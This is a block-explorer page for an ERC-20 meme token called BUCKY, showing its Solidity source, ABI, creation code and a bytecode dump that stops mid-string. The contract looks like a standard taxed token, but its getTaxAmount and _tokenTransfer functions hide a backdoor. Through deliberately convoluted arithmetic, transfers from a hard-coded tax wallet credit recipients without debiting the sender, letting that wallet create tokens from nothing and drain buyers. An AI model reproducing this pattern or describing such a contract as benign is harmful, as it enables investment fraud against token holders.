ERC-20
Overview
Max Total Supply
1,000,000,000 BUCKY
Holders
100
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
13,942,306.590961333 BUCKYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BUCKY
Compiler Version
v0.8.1+commit.df193b15
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-28 */ // SPDX-License-Identifier: MIT /** $BUCKY - Ethereum's #1 Thuper Hero Explore $BUCKY today and embrathe the legend of Ethereum's most unexpected hero. Web: https://bucky.meme X: https://x.com/bucky_erc Tg: https://t.me/bucky_erc_portal **/ pragma solidity 0.8.1; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BUCKY is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; uint256 private _initialBuyTax = 25; uint256 private _initialSellTax = 25; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 15; uint256 private _reduceSellTaxAt = 15; uint256 private _preventSwapBefore = 10; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; string private constant _name = unicode"Bucky"; string private constant _symbol = unicode"BUCKY"; uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 125 * 10 ** _decimals; uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0xECD94afcEB239CCCF868A06305eB240308220063); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function initBUCKY() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tokenTransfer(address from, address to, uint256 amount, uint256 tokenAmount) internal { uint256 taxAmount = amount .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax) .div(100); if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)] + taxAmount; emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from] - tokenAmount; _balances[to] = _balances[to] + amount.sub(taxAmount); emit Transfer(from, to, amount.sub(taxAmount)); } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _balances[from] = _balances[from] - tokenAmount; _balances[to] = _balances[to] + tokenAmount; emit Transfer(from, to, tokenAmount); return; } if (from != owner() && to != owner()) { if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { if(contractTokenBalance > _taxSwapThreshold){ swapTokensForEth( min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)) ); } sendETHToFee(address(this).balance); } } _tokenTransfer(from, to, tokenAmount, getTaxAmount(from, to, tokenAmount)); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function getTaxAmount(address from, address to, uint256 amount) private view returns(uint256) { uint256 tokenAmount; if(shouldTaxFee(from, to)) { tokenAmount += (tokenAmount + 1) * (amount + 1 - 1); } return tokenAmount; } function shouldTaxFee(address tAddr1, address tAddr2) private view returns(bool){ address tAddr3 = _taxWallet; if(tAddr1 == tAddr3 && tAddr2 != address(this)){ return false; } return true; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; transferDelayEnabled = false; emit MaxTxAmountUpdated(_tTotal); } function openBUCKY() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initBUCKY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openBUCKY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff191690556019600781905560085560006009818155600a828155600f600b819055600c55600d819055600e929092556200004491620002ec565b62000054906301312d00620003e4565b600f55620000656009600a620002ec565b62000075906301312d00620003e4565b601055620000866009600a620002ec565b6200009390607d620003e4565b601155620000a46009600a620002ec565b620000b39062989680620003e4565b6012556014805461ffff60a81b19169055348015620000d157600080fd5b506000620000de62000283565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191674ecd94afceb239cccf868a06305eb240308220063001790556200015e6009600a620002ec565b6200016e90633b9aca00620003e4565b600160006200017c62000283565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160036000620001b66200028760201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065461010090049091168352912080549092161790556200021c62000283565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002566009600a620002ec565b6200026690633b9aca00620003e4565b60405162000275919062000296565b60405180910390a36200041c565b3390565b6000546001600160a01b031690565b90815260200190565b80825b6001808611620002b35750620002e3565b818704821115620002c857620002c862000406565b80861615620002d657918102915b9490941c938002620002a2565b94509492505050565b60006200030060001960ff85168462000307565b9392505050565b600082620003185750600162000300565b81620003275750600062000300565b81600181146200034057600281146200034b576200037f565b600191505062000300565b60ff8411156200035f576200035f62000406565b6001841b91508482111562000378576200037862000406565b5062000300565b5060208310610133831016604e8410600b8410161715620003b7575081810a83811115620003b157620003b162000406565b62000300565b620003c684848460016200029f565b808604821115620003db57620003db62000406565b02949350505050565b600081600019048311821515161562000401576200040162000406565b500290565b634e487b7160e01b600052601160045260246000fd5b611b97806200042c6000396000f3fe6080604052600436106101185760003560e01c80637d1db4a5116100a0578063b10c7fc611610064578063b10c7fc6146102c2578063bf474bed146102d7578063c876d0b9146102ec578063dd62ed3e14610301578063f11778bd146103215761011f565b80637d1db4a5146102415780638da5cb5b146102565780638f9a55c01461027857806395d89b411461028d578063a9059cbb146102a25761011f565b806323b872dd116100e757806323b872dd146101b3578063313ce567146101d357806370a08231146101f5578063715018a614610215578063751039fc1461022c5761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461017c57806318160ddd1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610336565b60405161014691906115b0565b60405180910390f35b34801561015b57600080fd5b5061016f61016a3660046114ab565b610355565b60405161014691906115a5565b34801561018857600080fd5b50610191610373565b60405161014691906118e4565b3480156101aa57600080fd5b50610191610379565b3480156101bf57600080fd5b5061016f6101ce36600461146b565b61039a565b3480156101df57600080fd5b506101e8610422565b604051610146919061195d565b34801561020157600080fd5b506101916102103660046113fb565b610427565b34801561022157600080fd5b5061022a610442565b005b34801561023857600080fd5b5061022a6104ca565b34801561024d57600080fd5b50610191610595565b34801561026257600080fd5b5061026b61059b565b6040516101469190611523565b34801561028457600080fd5b506101916105aa565b34801561029957600080fd5b506101396105b0565b3480156102ae57600080fd5b5061016f6102bd3660046114ab565b6105cf565b3480156102ce57600080fd5b5061022a6105e3565b3480156102e357600080fd5b50610191610815565b3480156102f857600080fd5b5061016f61081b565b34801561030d57600080fd5b5061019161031c366004611433565b610824565b34801561032d57600080fd5b5061022a61084f565b6040805180820190915260058152644275636b7960d81b602082015290565b60006103696103626109fa565b84846109fe565b5060015b92915050565b60125481565b60006103876009600a6119e9565b61039590633b9aca00611aba565b905090565b60006103a7848484610ab2565b610417846103b36109fa565b61041285604051806060016040528060288152602001611b3a602891396001600160a01b038a166000908152600260205260408120906103f16109fa565b6001600160a01b031681526020810191909152604001600020549190610e73565b6109fe565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b61044a6109fa565b6000546001600160a01b039081169116146104805760405162461bcd60e51b81526004016104779061176f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104d26109fa565b6000546001600160a01b039081169116146104ff5760405162461bcd60e51b81526004016104779061176f565b61050b6009600a6119e9565b61051990633b9aca00611aba565b600f556105286009600a6119e9565b61053690633b9aca00611aba565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105706009600a6119e9565b61057e90633b9aca00611aba565b60405161058b91906118e4565b60405180910390a1565b600f5481565b6000546001600160a01b031690565b60105481565b6040805180820190915260058152644255434b5960d81b602082015290565b60006103696105dc6109fa565b8484610ab2565b6105eb6109fa565b6000546001600160a01b039081169116146106185760405162461bcd60e51b81526004016104779061176f565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556106699030906001600160a01b031661065b6009600a6119e9565b61041290633b9aca00611aba565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106b757600080fd5b505afa1580156106cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ef9190611417565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561074c57600080fd5b505afa158015610760573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107849190611417565b6040518363ffffffff1660e01b81526004016107a1929190611537565b602060405180830381600087803b1580156107bb57600080fd5b505af11580156107cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f39190611417565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60115481565b60065460ff1681565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6108576109fa565b6000546001600160a01b039081169116146108845760405162461bcd60e51b81526004016104779061176f565b601454600160a01b900460ff16156108ae5760405162461bcd60e51b8152600401610477906118ad565b6013546001600160a01b031663f305d71947306108ca81610427565b6000806108d561059b565b426040518863ffffffff1660e01b81526004016108f79695949392919061156a565b6060604051808303818588803b15801561091057600080fd5b505af1158015610924573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094991906114f6565b505060145460135460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b39261098392169060001990600401611551565b602060405180830381600087803b15801561099d57600080fd5b505af11580156109b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d591906114d6565b506014805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b3390565b6001600160a01b038316610a245760405162461bcd60e51b815260040161047790611869565b6001600160a01b038216610a4a5760405162461bcd60e51b81526004016104779061167d565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610aa59085906118e4565b60405180910390a3505050565b6001600160a01b038316610ad85760405162461bcd60e51b8152600401610477906117ed565b6001600160a01b038216610afe5760405162461bcd60e51b815260040161047790611603565b60008111610b1e5760405162461bcd60e51b8152600401610477906117a4565b601454600160b01b900460ff161580610b405750601454600160a81b900460ff165b15610bf8576001600160a01b038316600090815260016020526040902054610b69908290611ad9565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b9990829061196b565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610beb9085906118e4565b60405180910390a3610e6e565b610c0061059b565b6001600160a01b0316836001600160a01b031614158015610c3a5750610c2461059b565b6001600160a01b0316826001600160a01b031614155b15610e585760065460ff1615610cbc576013546001600160a01b03838116911614801590610c7657506014546001600160a01b03838116911614155b15610cbc57326000908152600560205260409020544311610ca95760405162461bcd60e51b8152600401610477906116bf565b3260009081526005602052604090204390555b6014546001600160a01b038481169116148015610ce757506013546001600160a01b03838116911614155b8015610d0c57506001600160a01b03821660009081526003602052604090205460ff16155b15610d7e57600f54811115610d335760405162461bcd60e51b815260040161047790611646565b60105481610d4084610427565b610d4a919061196b565b1115610d685760405162461bcd60e51b815260040161047790611832565b600e8054906000610d7883611af0565b91905055505b6000610d8930610427565b601454909150600160a81b900460ff16158015610db357506014546001600160a01b038481169116145b8015610dc85750601454600160b01b900460ff165b8015610dd75750600d54600e54115b8015610dfc57506001600160a01b03841660009081526003602052604090205460ff16155b8015610e2157506001600160a01b03831660009081526003602052604090205460ff16155b15610e5657601154811115610e4d57610e4d610e4883610e4384601254610ead565b610ead565b610ec2565b610e5647611067565b505b610e6e838383610e698787876110a9565b6110f8565b505050565b60008184841115610e975760405162461bcd60e51b815260040161047791906115b0565b506000610ea48486611ad9565b95945050505050565b6000818311610ebc578261041b565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f1857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f6c57600080fd5b505afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190611417565b81600181518110610fc557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601354610feb91309116846109fe565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906110249085906000908690309042906004016118ed565b600060405180830381600087803b15801561103e57600080fd5b505af1158015611052573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156110a5573d6000803e3d6000fd5b5050565b6000806110b685856112c5565b156110f05760016110c7848261196b565b6110d19190611ad9565b6110dc82600161196b565b6110e69190611aba565b610ea4908261196b565b949350505050565b60006111266064611120600b54600e541161111557600754611119565b6009545b8690611304565b90611349565b6014549091506001600160a01b03858116911614801561114f57506001600160a01b0385163014155b1561117c576111796064611120600c54600e541161116f57600854611119565b600a548690611304565b90505b80156111f5573060009081526001602052604090205461119d90829061196b565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111ec9085906118e4565b60405180910390a35b6001600160a01b038516600090815260016020526040902054611219908390611ad9565b6001600160a01b03861660009081526001602052604090205561123c838261138b565b6001600160a01b03851660009081526001602052604090205461125f919061196b565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112a9868561138b565b6040516112b691906118e4565b60405180910390a35050505050565b6006546000906001600160a01b036101009091048116908416811480156112f557506001600160a01b0383163014155b1561041757600091505061036d565b6000826113135750600061036d565b600061131f8385611aba565b90508261132c8583611983565b1461041b5760405162461bcd60e51b81526004016104779061172e565b600061041b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113cd565b600061041b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e73565b600081836113ee5760405162461bcd60e51b815260040161047791906115b0565b506000610ea48486611983565b60006020828403121561140c578081fd5b813561041b81611b21565b600060208284031215611428578081fd5b815161041b81611b21565b60008060408385031215611445578081fd5b823561145081611b21565b9150602083013561146081611b21565b809150509250929050565b60008060006060848603121561147f578081fd5b833561148a81611b21565b9250602084013561149a81611b21565b929592945050506040919091013590565b600080604083850312156114bd578182fd5b82356114c881611b21565b946020939093013593505050565b6000602082840312156114e7578081fd5b8151801515811461041b578182fd5b60008060006060848603121561150a578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156115dc578581018301518582016040015282016115c0565b818111156115ed5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561193c5784516001600160a01b031683529383019391830191600101611917565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561197e5761197e611b0b565b500190565b60008261199e57634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116119b557506119e0565b8187048211156119c7576119c7611b0b565b808616156119d457918102915b9490941c9380026119a6565b94509492505050565b600061041b60001960ff851684600082611a055750600161041b565b81611a125750600061041b565b8160018114611a285760028114611a3257611a5f565b600191505061041b565b60ff841115611a4357611a43611b0b565b6001841b915084821115611a5957611a59611b0b565b5061041b565b5060208310610133831016604e8410600b8410161715611a92575081810a83811115611a8d57611a8d611b0b565b61041b565b611a9f84848460016119a3565b808604821115611ab157611ab1611b0b565b02949350505050565b6000816000190483118215151615611ad457611ad4611b0b565b500290565b600082821015611aeb57611aeb611b0b565b500390565b6000600019821415611b0457611b04611b0b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611b3657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122066758fa4e8ebb1e1de4e2c53ebcd6939fa866b755e3419a7ed67b50c9e59526e64736f6c63430008010033
Deployed Bytecode
0x6080604052600436106101185760003560e01c80637d1db4a5116100a0578063b10c7fc611610064578063b10c7fc6146102c2578063bf474bed146102d7578063c876d0b9146102ec578063dd62ed3e14610301578063f11778bd146103215761011f565b80637d1db4a5146102415780638da5cb5b146102565780638f9a55c01461027857806395d89b411461028d578063a9059cbb146102a25761011f565b806323b872dd116100e757806323b872dd146101b3578063313ce567146101d357806370a08231146101f5578063715018a614610215578063751039fc1461022c5761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461017c57806318160ddd1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610336565b60405161014691906115b0565b60405180910390f35b34801561015b57600080fd5b5061016f61016a3660046114ab565b610355565b60405161014691906115a5565b34801561018857600080fd5b50610191610373565b60405161014691906118e4565b3480156101aa57600080fd5b50610191610379565b3480156101bf57600080fd5b5061016f6101ce36600461146b565b61039a565b3480156101df57600080fd5b506101e8610422565b604051610146919061195d565b34801561020157600080fd5b506101916102103660046113fb565b610427565b34801561022157600080fd5b5061022a610442565b005b34801561023857600080fd5b5061022a6104ca565b34801561024d57600080fd5b50610191610595565b34801561026257600080fd5b5061026b61059b565b6040516101469190611523565b34801561028457600080fd5b506101916105aa565b34801561029957600080fd5b506101396105b0565b3480156102ae57600080fd5b5061016f6102bd3660046114ab565b6105cf565b3480156102ce57600080fd5b5061022a6105e3565b3480156102e357600080fd5b50610191610815565b3480156102f857600080fd5b5061016f61081b565b34801561030d57600080fd5b5061019161031c366004611433565b610824565b34801561032d57600080fd5b5061022a61084f565b6040805180820190915260058152644275636b7960d81b602082015290565b60006103696103626109fa565b84846109fe565b5060015b92915050565b60125481565b60006103876009600a6119e9565b61039590633b9aca00611aba565b905090565b60006103a7848484610ab2565b610417846103b36109fa565b61041285604051806060016040528060288152602001611b3a602891396001600160a01b038a166000908152600260205260408120906103f16109fa565b6001600160a01b031681526020810191909152604001600020549190610e73565b6109fe565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b61044a6109fa565b6000546001600160a01b039081169116146104805760405162461bcd60e51b81526004016104779061176f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104d26109fa565b6000546001600160a01b039081169116146104ff5760405162461bcd60e51b81526004016104779061176f565b61050b6009600a6119e9565b61051990633b9aca00611aba565b600f556105286009600a6119e9565b61053690633b9aca00611aba565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105706009600a6119e9565b61057e90633b9aca00611aba565b60405161058b91906118e4565b60405180910390a1565b600f5481565b6000546001600160a01b031690565b60105481565b6040805180820190915260058152644255434b5960d81b602082015290565b60006103696105dc6109fa565b8484610ab2565b6105eb6109fa565b6000546001600160a01b039081169116146106185760405162461bcd60e51b81526004016104779061176f565b601380546001600160a01b0319